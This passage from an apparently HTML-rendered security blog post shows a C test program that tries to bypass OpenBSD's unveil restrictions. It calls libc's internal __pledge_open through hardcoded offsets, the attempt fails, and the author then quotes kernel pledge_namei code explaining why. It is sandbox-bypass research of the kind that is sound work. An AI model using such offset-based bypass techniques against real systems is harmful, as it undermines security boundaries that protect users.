&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;puts&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;can&amp;#39;t read&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;puts&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;unveil&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/home/&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;r&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;unveil&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;sigaction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sa&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;sa&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sa&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;sa&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sa_sigaction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;on_sigtrap&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;sa&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sa_flags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SA_SIGINFO&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;sigemptyset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;sa&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sa_mask&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sigaction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SIGTRAP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;sa&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;perror&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;sigaction&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;O_RDONLY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Got fd for open: %d&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;O_RDONLY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// offsets for -current valid at 2026-04-02&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;daemon_addr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;daemon&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// get the address of the call to __pledge_open in setprotoent&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unrestricted_open_addr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;daemon_addr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x00076980&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x000E0A07&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;unrestricted_open&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unrestricted_open_fcn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unrestricted_open&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;unrestricted_open_addr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;unrestricted_open_fcn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;O_RDONLY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Unfortunately:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="go"&gt;openbsd$ clang ./test.c  &amp;amp;&amp;amp; ./a.out&lt;/span&gt;
&lt;span class="go"&gt;1 warning generated.&lt;/span&gt;
&lt;span class="go"&gt;Got fd for open: -1&lt;/span&gt;
&lt;span class="go"&gt;caught SIGTRAP&lt;/span&gt;
&lt;span class="go"&gt;Trying to read fd: 4&lt;/span&gt;
&lt;span class="go"&gt;can&amp;#39;t read&lt;/span&gt;
&lt;span class="go"&gt;openbsd$&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This is because there is a check in the form of
&lt;a href="https://github.com/openbsd/src/blob/4245707926efbf4b027899ae0328f0c436ca7e10/sys/kern/kern_pledge.c#L645"&gt;&lt;code&gt;pledge_namei&lt;/code&gt;&lt;/a&gt;, with hardcoded paths:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cm"&gt;/*&lt;/span&gt;
&lt;span class="cm"&gt; * Need to make it more obvious that one cannot get through here&lt;/span&gt;
&lt;span class="cm"&gt; * without the right flags set&lt;/span&gt;
&lt;span class="cm"&gt; */&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt;
&lt;span class="nf"&gt;pledge_namei&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;proc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;nameidata&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ni&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// […]&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="cm"&gt;/*&lt;/span&gt;
&lt;span class="cm"&gt;     * In specific promise situations, __pledge_open() can open&lt;/span&gt;
&lt;span class="cm"&gt;     * specific paths and ignores rpath, wpath, or unveil restrictions.&lt;/span&gt;
&lt;span class="cm"&gt;     */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ni&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ni_unveil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UNVEIL_PLEDGEOPEN&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="cp"&gt;#ifdef SMALL_KERNEL&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="cm"&gt;/* To save ramdisk space, we trust the libc provided paths */&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;ni&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ni_cnd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cn_flags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BYPASSUNVEIL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="cp"&gt;#else&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;item&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;item&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;checkpledgepaths&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;item&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;strncmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/usr/share/zoneinfo/&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/usr/share/zoneinfo/&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;cp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;item&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PLEDGEPATH_ZONEINFO&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/usr/share/zoneinfo/&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;cp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cp&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;/&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;cp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;.&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;.&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;/&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;\0&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;item&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="cm"&gt;/* bad path */&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;switch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;item&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="cm"&gt;/* Invalid path provided to __pledge_open */&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pledge_fail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EACCES&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="n"&gt;ple&lt;/span&gt;&lt;span class="p"&gt;)));&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="cm"&gt;/* &amp;quot;stdio&amp;quot; - for daemon(3) or other such functions */&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;PLEDGEPATH_NULL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;nip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PLEDGE_RPATH&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PLEDGE_WPATH&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
